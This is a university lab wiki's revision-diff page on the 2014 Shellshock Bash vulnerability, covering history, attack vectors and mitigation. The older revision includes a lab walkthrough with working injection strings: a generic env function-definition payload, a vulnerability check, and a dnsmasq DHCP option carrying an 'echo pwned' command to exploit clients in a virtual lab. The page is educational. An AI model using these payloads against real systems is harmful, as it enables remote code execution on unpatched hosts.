Difference between revisions of "Shellshock"

From Embedded Lab Vienna for IoT & Security
Jump to navigation Jump to search
(Reworked the overall structure of the wiki entry. Added a little description to all sections.)
Line 1: Line 1:
== Summary ==
Shellshock, discovered in 2014, is a significant vulnerability in the GNU Bash shell, affecting a wide range of systems. It enables attackers to execute arbitrary code on vulnerable systems, exploiting environment variables in Bash. The severity of Shellshock lies in its widespread impact, targeting systems running Bash, including web servers, DHCP clients, and network services.


This documentation is about the Shellshock bug found in 2014.


== Requirements ==
==Background==


* Operating system: Seed Ubuntu 12.04, Ubuntu 20.04
===Bash Shell===
* Packages: dnsmasq
The GNU Bourne Again Shell (Bash) is a widely used command processor in Unix-like operating systems. Its design, integrating features from other shells, makes it versatile but also introduced vulnerabilities exploited by Shellshock.


== History ==
===Discovery===
Discovered by Stéphane Chazelas in September 2014, Shellshock was initially identified as CVE-2014-6271. Further investigation revealed additional related vulnerabilities, underscoring the security implications of the widespread use of Bash.


=== Initial Discovery ===


On August the 5th, 1989 a bug was accidentally introduced into the development version of bash by the then-lead developer Brian Fox. A bug that was later released within the version 1.03 of bash and existed 25 years with presumable nobody noticing. On the 24th of September 2014 an exploit which was later named Shellshock was publicly disclosed  and assigned the CVE identifier CVE-2014-6271, CVE-2014-6277 and CVE-2014-6278. The exploit was originally found by Stéphane Chazelas on the 12th of September 2014, an french software developer that contributes to the UNIX and Free Software/OpenSource community in his spare time. He originally called the exploit Bashdoor but this name did not catch on. He reported the bug to the lead developer of bash Chet Ramey, which developed a fix for it, which was rolled out by major distributors such as Debian, Red Hat and Ubuntu as part of an coordinated disclosure.
==Reported Vulnerabilities==
CVE-2014-6271 to CVE-2014-6278: Six vulnerabilities, each uniquely exploiting Bash's handling of environment variables, were identified. These range from executing arbitrary code to causing denial of service (DoS). For example, CVE-2014-6271 allows attackers to append arbitrary commands to function definitions in environment variables.


=== Discovery of a bigger problem ===
==Impact and Attack Scenarios==


After fixing the initial bug, security researchers noticed that the bash shell was still parsing every environment variable that began with the sequence "() \{". As long as the bash would parse untrusted data, it could lead to a security exploit. The focus of the researches and developers shifted their attention towards the bash parser, although they never thought that the bash parser was security-relevant. On September the 24th, 2014 a security researcher named Tavis Ormandy reported and published an example of a bug in the bash parser, that could be exploited. Because of the failed fix of the previous exploits a new CVE identifier was assigned namely CVE-2014-7169. Just one day after this, a new exploit was found by Florian Weimer, it was assigned the identifier CVE-2014-7186 and it described a Denial of Service exploit which could be executed with the use of the initial Shellshock exploit.
===Attack Vectors===
Shellshock could be exploited through web servers using CGI scripts, SSH services, DHCP clients, and various network services. By manipulating environment variables, attackers could execute malicious code.


=== Aftermath ===
===Examples of Attacks===
Notable instances include a suspected attack on a voting server in Georgia, a worm targeting QNAP NAS devices, and unauthorized access to Yahoo servers. These examples highlight the broad and severe implications of Shellshock in real-world scenarios.


The impact of this exploit was enormous, basically most Unix-like systems use the bash shell, not only Linux also some distributions of BSD, Apple MacOS X and Cygwin. A big problem was that the first patch didn't fix the exploit in its entirety, the vulnerability and proof of concept of the exploit was known to the public.


== Functionality ==
==Defense and Mitigation Strategies==


The  Shellshock  vulnerability  is  enumerated  as  an  improper  neutralization  of specialelements used in an OS Command (’OS Command Injection’) by the National Instituteof  Standards  and  Technology.   It  can  be  exploited  to  give  an  attacker  remote  codeexecution.  The vulnerability occurs when defining a environment variable.  So basicallyevery system where an attacker could control the content of an environment variablewas exploitable.  This included many CGI web applications that were invoked via bash,sshd using ForceCommand and DHCP clients connecting to subverted DHCP servers.
===Patches and Updates===
Rapid development and distribution of patches for each CVE were crucial in mitigating Shellshock. Regular system updates and applying patches are critical for maintaining security.


With  the  export  command,  it  is  possible  to  export  shell  variables  but  also  shellfunctions.  In the bash version with the Shellshock vulnerability a function definitionstarted  with  ”(){”  in  the  value  of  the  exported  variable.  The  vulnerability  existedbecause  bash  does  not  stop  processing  after  the  function  definition,  it  continues  toparse and execute shell commands.Environment variables can be defined with the following command:
===Best Practices===
env variablename='<value>'
Adopting best practices, such as minimal installation to reduce attack surfaces, adhering to the principle of least privilege, regular security audits, and employee training, are essential strategies to prevent similar vulnerabilities.
Now to exploit this vulnerability (CVE-2014-6271) in the initial bash version the following command could be used:
env x='() { :; }; <exploit code>'
 
== Types ==
 
=== Apache CGI ===
 
Apache CGI is a technology to dynamically load content of a website. This is done via script, which can be written in any programming language.
This type of the attack mostly uses the User-Agent field of a request. The field's value is set to the Shellshock command, which typically opens a reverse TCP-Shell to the attacker. As soon as the request is sent and processed by the targeted webserver, the attacker has total control over it.
 
=== OpenSSH ===
 
Similar to Apache CGI, the OpenSSH attack is used to open a shell on the target. This can even go as far that Shellshock bypasses Multi-Factor Authentication.
For this, the attacker uses the -t switch of the SSH command, which is used to execute addition command. The value will be the Shellshock command, which the attacker wants the target to execute.
 
=== DHCP ===
 
Shellshock can also be exploited via DHCP. In that case, the attacker needs to set up a fake Access Point, which runs a DHCP service. Then, in the DHCP options, the attacker needs to set the value of any string based field to the Shellshock command to be executed. When a target connects to the fake AP, the command will be executed and the attacker has control over the target.
 
== Practical Shellshock DHCP Example ==
 
=== Setup ===
I used VMware Workstation Pro, but you might aswell use the virtualisation tool of your choice. I downloaded a SEED Ubuntu12.04 VM (32-bit) from [https://seedsecuritylabs.org/lab_env.html this website] and the latest version of Ubuntu from [https://ubuntu.com/download/desktop the official website], if you have a lack of memory just use the server version.
For demonstration purposes I used two client machines, but you only need one SEED machine for the example to work. Both client machines and the server are configured to be in a virtual network. This can be done in your virtualisation tool.
 
=== Check Vulnerablity ===
After successfully setting up the machines, we now check if the clients are vulnerable to Shellshock. To check for the Shellshock vulnerability you can use the following command:
env x='() { :;}; echo shellshocked' bash -c ""
 
=== Install & Configurating DNSMASQ ===
First we have to install the package dnsmasq:
apt-get install dnsmasq
 
After successfully installing dnsmasq we have to configure it. We can do that in the ''/etc/dnsmasq.conf''. I changed the following lines:
port=0 
interface=ens33
dhcp-range=192.168.123.10,192.168.123.250,12h
dhcp-option-force=100,() { :; }; echo pwned
 
Now we need to restart the service and check if any errors occured.
service dnsmasq restart
service dnsmasq status
 
=== Configurating Client & Server IPs ===
==== Server ====
 
We have to give the server machine a static ip address. I did it with netplan. If it isn't already installed you can install it with
apt-get install netplan
 
Now we have to edit the file ''/etc/netplan/01-network.yaml''. My netplan looks as follows:
 
network:
  version: 2
  renderer: networkd
  ethernets:
    ens33:
      addresses:
        - 192.168.123.1/24
 
After saving the file we need to apply the netplan we can do that with the command
sudo netplan apply
 
To check if the network interface got configured we can perform the command
ifconfig
 
==== Client ====
For the client side we need to configure that it requests an ip-address from the server. We can do that by editing the ''/etc/network/interfaces'' file as follows:
auto eth0
iface eth0 inet dhcp
 
=== Perform the attack ===
When the client requests an ip address, it executes the payload defined in the dnsmasq config. We can manually request a new ip by performing the following command:
sudo /etc/init.d/networking restart
 
As we can see the payload gets executed. For further exploitation you can change the payload in the dnsmasq config.
== Courses ==
 
* [[Ausgewählte Kapitel der IT-Security]] (2021/2022)
 
== References ==
 
* https://security.stackexchange.com/questions/68877/shellshock-dhcp-exploitation
* https://dwheeler.com/essays/shellshock.html
* https://ftp.gnu.org/gnu/bash/
 
[[Category:Documentation]]

Revision as of 15:32, 7 January 2024

Shellshock, discovered in 2014, is a significant vulnerability in the GNU Bash shell, affecting a wide range of systems. It enables attackers to execute arbitrary code on vulnerable systems, exploiting environment variables in Bash. The severity of Shellshock lies in its widespread impact, targeting systems running Bash, including web servers, DHCP clients, and network services.


Background

Bash Shell

The GNU Bourne Again Shell (Bash) is a widely used command processor in Unix-like operating systems. Its design, integrating features from other shells, makes it versatile but also introduced vulnerabilities exploited by Shellshock.

Discovery

Discovered by Stéphane Chazelas in September 2014, Shellshock was initially identified as CVE-2014-6271. Further investigation revealed additional related vulnerabilities, underscoring the security implications of the widespread use of Bash.


Reported Vulnerabilities

CVE-2014-6271 to CVE-2014-6278: Six vulnerabilities, each uniquely exploiting Bash's handling of environment variables, were identified. These range from executing arbitrary code to causing denial of service (DoS). For example, CVE-2014-6271 allows attackers to append arbitrary commands to function definitions in environment variables.

Impact and Attack Scenarios

Attack Vectors

Shellshock could be exploited through web servers using CGI scripts, SSH services, DHCP clients, and various network services. By manipulating environment variables, attackers could execute malicious code.

Examples of Attacks

Notable instances include a suspected attack on a voting server in Georgia, a worm targeting QNAP NAS devices, and unauthorized access to Yahoo servers. These examples highlight the broad and severe implications of Shellshock in real-world scenarios.


Defense and Mitigation Strategies

Patches and Updates

Rapid development and distribution of patches for each CVE were crucial in mitigating Shellshock. Regular system updates and applying patches are critical for maintaining security.

Best Practices

Adopting best practices, such as minimal installation to reduce attack surfaces, adhering to the principle of least privilege, regular security audits, and employee training, are essential strategies to prevent similar vulnerabilities.